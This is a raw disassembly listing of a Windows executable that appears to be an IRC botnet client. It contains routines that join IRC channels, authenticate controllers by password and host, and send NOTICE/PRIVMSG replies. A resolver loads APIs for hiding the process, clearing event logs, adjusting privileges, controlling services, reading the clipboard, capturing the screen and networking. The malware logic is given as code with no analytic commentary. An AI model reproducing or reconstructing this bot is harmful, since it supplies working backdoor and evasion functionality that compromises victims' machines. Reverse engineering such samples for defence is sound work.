		call	sub_408C5D
		add	esp, 14h


loc_408836:				; CODE XREF: sub_401AC7+224Ej
					; sub_401AC7+2279j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		jmp	loc_402074
; ---------------------------------------------------------------------------


loc_408847:				; CODE XREF: sub_401AC7+6D25j
		mov	eax, [ebp+var_A8]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E8B
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_408863:				; CODE XREF: sub_401AC7+6E0Dj
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E8B
		push	esi
		call	sub_417C89
		push	eax
		call	sub_40A33E
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40888A
		push	offset unk_42C4B0
		jmp	short loc_40888F
; ---------------------------------------------------------------------------


loc_40888A:				; CODE XREF: sub_401AC7+6DBAj
		push	offset unk_42C484


loc_40888F:				; CODE XREF: sub_401AC7+6DC1j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4088BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_4088BF:				; CODE XREF: sub_401AC7+6DDAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_408863
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_4088DB:				; CODE XREF: sub_401AC7+37F8j
					; sub_401AC7+380Dj
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408A45
		push	esi
		push	offset dword_42C928
		push	[ebp+arg_4]
		call	sub_408C17
		push	esi
		push	offset dword_42C468
		jmp	loc_408143
; ---------------------------------------------------------------------------


loc_408914:				; CODE XREF: sub_401AC7+37CEj
					; sub_401AC7+37E3j
		push	[ebp+arg_10]
		push	offset dword_42C88C
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		push	offset unk_42C444
		jmp	loc_408143
; ---------------------------------------------------------------------------


loc_408931:				; CODE XREF: sub_401AC7+37A4j
					; sub_401AC7+37B9j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		push	offset unk_42C420
		jmp	loc_408016
; ---------------------------------------------------------------------------


loc_408955:				; CODE XREF: sub_401AC7+377Aj
					; sub_401AC7+378Fj
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		push	offset unk_42C3FC
		jmp	loc_408143
; ---------------------------------------------------------------------------


loc_408972:				; CODE XREF: sub_401AC7+2BE5j
					; sub_401AC7+2BFAj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C3D8
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 1Ch


loc_4089AA:				; CODE XREF: sub_401AC7+6F2Fj
		push	eax
		call	dword_423078	; Sleep


loc_4089B1:				; CODE XREF: sub_401AC7+2630j
		xor	eax, eax
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_4089B8:				; CODE XREF: sub_401AC7+2BBBj
					; sub_401AC7+2BD0j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C3B0
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_4089AA
; ---------------------------------------------------------------------------


loc_4089F8:				; CODE XREF: sub_401AC7+C2Aj
					; sub_401AC7+C3Fj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_425098
		push	eax
		call	sub_40A19A
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42C38C
		call	sub_413BD2


loc_408A42:				; CODE XREF: sub_401AC7+49C2j
		add	esp, 24h


loc_408A45:				; CODE XREF: sub_401AC7:loc_40211Dj
					; sub_401AC7+662j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_408A4D:				; CODE XREF: sub_401AC7+6E2j
					; sub_401AC7+6F7j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E8B
		cmp	[ebp+var_AC], ebx
		jnz	loc_401E8B
		push	offset dword_4282EC
		push	[ebp+var_90]
		call	sub_4185F4
		mov	esi, eax
		push	offset dword_4C96CC
		push	ebx
		inc	esi
		call	sub_4185F4
		push	offset asc_42C388 ; "~"
		push	eax
		call	sub_4185F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_418570
		add	esp, 20h
		test	eax, eax
		jz	short loc_408AF5
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_408C17
		push	edi
		push	esi
		push	offset unk_42C308


loc_408AE1:				; CODE XREF: sub_401AC7+708Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 30h
		jmp	loc_4079C8
; ---------------------------------------------------------------------------


loc_408AF5:				; CODE XREF: sub_401AC7+6FE1j
		mov	[ebp+arg_24], offset off_425150


loc_408AFC:				; CODE XREF: sub_401AC7+7051j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40A55C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408B53
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_425154
		jl	short loc_408AFC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_408C17
		push	edi
		push	esi
		push	offset unk_42C2B4
		jmp	short loc_408AE1
; ---------------------------------------------------------------------------


loc_408B53:				; CODE XREF: sub_401AC7+7044j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_408B58:				; CODE XREF: sub_401AC7+70BBj
		cmp	[ebp+arg_10], ebx
		jz	loc_401E8B
		cmp	[edi], bl
		jnz	short loc_408B78
		push	[ebp+arg_10]
		push	offset aHi	; "hi"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408B89


loc_408B78:				; CODE XREF: sub_401AC7+709Cj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_408B58
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_408B89:				; CODE XREF: sub_401AC7+70AFj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_D04]
		push	7Fh
		push	eax
		push	esi
		call	sub_417B00
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408BC0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C294
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_408BC0:				; CODE XREF: sub_401AC7+70DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C274
		jmp	loc_40206E
; ---------------------------------------------------------------------------


loc_408BD1:				; CODE XREF: sub_401AC7+20Ej
					; sub_401AC7+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	offset dword_425124
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		add	esp, 2Ch
		mov	dword_4C96C4, edi
		jmp	loc_401D64
sub_401AC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C17	proc near		; CODE XREF: sub_40194F+3Dp
					; sub_401AC7+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_418690
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		leave
		retn
sub_408C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C5D	proc near		; CODE XREF: sub_401AC7+515p
					; sub_401AC7+1046p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_408C78
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_408C78:				; CODE XREF: sub_408C5D+14j
		push	edi
		call	sub_4176F0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_4176F0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset dword_42E264
		push	esi
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_417D96
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_408CF6
		push	7D0h
		call	dword_423078	; Sleep

locret_408CF6:				; CODE XREF: sub_408C5D+8Cj
		leave
		retn
sub_408C5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_408CF8	proc near		; CODE XREF: sub_401221+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_42309C
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4230BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408E18
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4C98A8, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4C9820, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4C9804, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4C9724, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4C96D4, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4C9700, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4C9774, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4C985C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4C98B8, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4C9730, eax
		call	esi	; GetProcAddress
		cmp	dword_4C98A8, ebx
		mov	dword_4C9718, eax
		jz	short loc_408DF6
		cmp	dword_4C9820, ebx
		jz	short loc_408DF6
		cmp	dword_4C9804, ebx
		jz	short loc_408DF6
		cmp	dword_4C9724, ebx
		jz	short loc_408DF6
		cmp	dword_4C9700, ebx
		jz	short loc_408DF6
		cmp	dword_4C9774, ebx
		jz	short loc_408DF6
		cmp	dword_4C985C, ebx
		jz	short loc_408DF6
		cmp	dword_4C98B8, ebx
		jz	short loc_408DF6
		cmp	dword_4C9730, ebx
		jz	short loc_408DF6
		cmp	eax, ebx
		jnz	short loc_408E00


loc_408DF6:				; CODE XREF: sub_408CF8+B8j
					; sub_408CF8+C0j ...
		mov	dword_4C98BC, 1


loc_408E00:				; CODE XREF: sub_408CF8+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4C9834, eax
		jz	short loc_408E2D
		push	1
		push	ebx
		call	eax
		jmp	short loc_408E2D
; ---------------------------------------------------------------------------


loc_408E18:				; CODE XREF: sub_408CF8+1Dj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98C0, eax
		mov	dword_4C98BC, 1


loc_408E2D:				; CODE XREF: sub_408CF8+117j
					; sub_408CF8+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4230B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408EE8
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4C9858, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4C980C, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4C97A4, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4C98AC, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4C97D0, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4C97F0, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4C9850, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9858, ebx
		mov	dword_4C9750, eax
		jz	short loc_408EF3
		cmp	dword_4C980C, ebx
		jz	short loc_408EF3
		cmp	dword_4C97A4, ebx
		jz	short loc_408EF3
		cmp	dword_4C98AC, ebx
		jz	short loc_408EF3
		cmp	dword_4C97D0, ebx
		jz	short loc_408EF3
		cmp	dword_4C97F0, ebx
		jz	short loc_408EF3
		cmp	dword_4C9850, ebx
		jz	short loc_408EF3
		cmp	eax, ebx
		jnz	short loc_408EFD
		jmp	short loc_408EF3
; ---------------------------------------------------------------------------


loc_408EE8:				; CODE XREF: sub_408CF8+144j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98C8, eax


loc_408EF3:				; CODE XREF: sub_408CF8+1B8j
					; sub_408CF8+1C0j ...
		mov	dword_4C98C4, 1


loc_408EFD:				; CODE XREF: sub_408CF8+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4090B6
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4C986C, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4C97B8, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4C9824, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4C9710, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4C9770, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4C97DC, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4C978C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C986C, ebx
		mov	dword_4C9798, eax
		jz	short loc_408FA6
		cmp	dword_4C97B8, ebx
		jz	short loc_408FA6
		cmp	dword_4C9824, ebx
		jz	short loc_408FA6
		cmp	dword_4C9710, ebx
		jz	short loc_408FA6
		cmp	dword_4C9770, ebx
		jz	short loc_408FA6
		cmp	dword_4C97DC, ebx
		jnz	short loc_408FB0


loc_408FA6:				; CODE XREF: sub_408CF8+284j
					; sub_408CF8+28Cj ...
		mov	dword_4C98CC, 1


loc_408FB0:				; CODE XREF: sub_408CF8+2ACj
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4C97E4, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4C97C0, eax
		call	esi	; GetProcAddress
		cmp	dword_4C97E4, ebx
		mov	dword_4C9868, eax
		jz	short loc_408FEB
		cmp	dword_4C97C0, ebx
		jz	short loc_408FEB
		cmp	eax, ebx
		jnz	short loc_408FF5


loc_408FEB:				; CODE XREF: sub_408CF8+2E5j
					; sub_408CF8+2EDj
		mov	dword_4C98CC, 1


loc_408FF5:				; CODE XREF: sub_408CF8+2F1j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4C97F4, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4C96EC, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4C96F4, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4C9758, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4C975C, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4C9708, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4C97C4, eax
		call	esi	; GetProcAddress
		cmp	dword_4C97F4, ebx
		mov	dword_4C96F8, eax
		jz	short loc_409099
		cmp	dword_4C96EC, ebx
		jz	short loc_409099
		cmp	dword_4C96F4, ebx
		jz	short loc_409099
		cmp	dword_4C9758, ebx
		jz	short loc_409099
		cmp	dword_4C975C, ebx
		jz	short loc_409099
		cmp	dword_4C9708, ebx
		jz	short loc_409099
		cmp	dword_4C97C4, ebx
		jz	short loc_409099
		cmp	eax, ebx
		jnz	short loc_4090A3


loc_409099:				; CODE XREF: sub_408CF8+36Bj
					; sub_408CF8+373j ...
		mov	dword_4C98CC, 1


loc_4090A3:				; CODE XREF: sub_408CF8+39Fj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4C96F0, eax
		jnz	short loc_4090CB
		jmp	short loc_4090C1
; ---------------------------------------------------------------------------


loc_4090B6:				; CODE XREF: sub_408CF8+210j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98D0, eax


loc_4090C1:				; CODE XREF: sub_408CF8+3BCj
		mov	dword_4C98CC, 1


loc_4090CB:				; CODE XREF: sub_408CF8+3BAj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409197
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4C97EC, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4C9840, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4C9848, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4C9808, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4C9734, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4C96E4, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4C9844, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4C96D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4C97EC, ebx
		mov	dword_4C9768, eax
		jz	short loc_4091A2
		cmp	dword_4C9840, ebx
		jz	short loc_4091A2
		cmp	dword_4C9848, ebx
		jz	short loc_4091A2
		cmp	dword_4C9808, ebx
		jz	short loc_4091A2
		cmp	dword_4C9734, ebx
		jz	short loc_4091A2
		cmp	dword_4C96E4, ebx
		jz	short loc_4091A2
		cmp	dword_4C9844, ebx
		jz	short loc_4091A2
		cmp	dword_4C96D0, ebx
		jz	short loc_4091A2
		cmp	eax, ebx
		jnz	short loc_4091AC
		jmp	short loc_4091A2
; ---------------------------------------------------------------------------


loc_409197:				; CODE XREF: sub_408CF8+3DEj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98D8, eax


loc_4091A2:				; CODE XREF: sub_408CF8+45Fj
					; sub_408CF8+467j ...
		mov	dword_4C98D4, 1


loc_4091AC:				; CODE XREF: sub_408CF8+49Bj
		mov	ebp, dword_4230B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409468
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4C977C, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4C98A0, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4C9720, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4C96FC, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4C97B0, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4C979C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4C9764, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4C987C, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4C9898, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4C97AC, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4C9888, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4C983C, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4C9800, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4C97FC, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4C9740, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4C9738, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4C984C, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4C9860, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4C9818, eax
		call	esi	; GetProcAddress
		mov	dword_4C97D8, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4C982C, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4C97E8, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4C9828, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4C9890, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4C97E0, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4C97A8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4C9814, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4C9880, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4C97BC, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4C9760, eax
		call	esi	; GetProcAddress
		cmp	dword_4C977C, ebx
		mov	dword_4C9894, eax
		jz	loc_409473
		cmp	dword_4C98A0, ebx
		jz	loc_409473
		cmp	dword_4C9720, ebx
		jz	loc_409473
		cmp	dword_4C97B0, ebx
		jz	loc_409473
		cmp	dword_4C979C, ebx
		jz	loc_409473
		cmp	dword_4C9764, ebx
		jz	loc_409473
		cmp	dword_4C987C, ebx
		jz	loc_409473
		cmp	dword_4C9898, ebx
		jz	loc_409473
		cmp	dword_4C97AC, ebx
		jz	loc_409473
		cmp	dword_4C9888, ebx
		jz	loc_409473
		cmp	dword_4C983C, ebx
		jz	loc_409473
		cmp	dword_4C9800, ebx
		jz	loc_409473
		cmp	dword_4C97FC, ebx
		jz	loc_409473
		cmp	dword_4C9740, ebx
		jz	short loc_409473
		cmp	dword_4C984C, ebx
		jz	short loc_409473
		cmp	dword_4C9860, ebx
		jz	short loc_409473
		cmp	dword_4C9818, ebx
		jz	short loc_409473
		cmp	dword_4C97D8, ebx
		jz	short loc_409473
		cmp	dword_4C982C, ebx
		jz	short loc_409473
		cmp	dword_4C97E8, ebx
		jz	short loc_409473
		cmp	dword_4C9828, ebx
		jz	short loc_409473
		cmp	dword_4C9890, ebx
		jz	short loc_409473
		cmp	dword_4C97E0, ebx
		jz	short loc_409473
		cmp	dword_4C97A8, ebx
		jz	short loc_409473
		cmp	dword_4C9814, ebx
		jz	short loc_409473
		cmp	dword_4C9880, ebx
		jz	short loc_409473
		cmp	dword_4C97BC, ebx
		jz	short loc_409473
		cmp	eax, ebx
		jnz	short loc_40947D
		jmp	short loc_409473
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_408CF8+4C5j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98E0, eax


loc_409473:				; CODE XREF: sub_408CF8+664j
					; sub_408CF8+670j ...
		mov	dword_4C98DC, 1


loc_40947D:				; CODE XREF: sub_408CF8+76Cj
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409582
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4C974C, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4C96D8, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4C97CC, eax
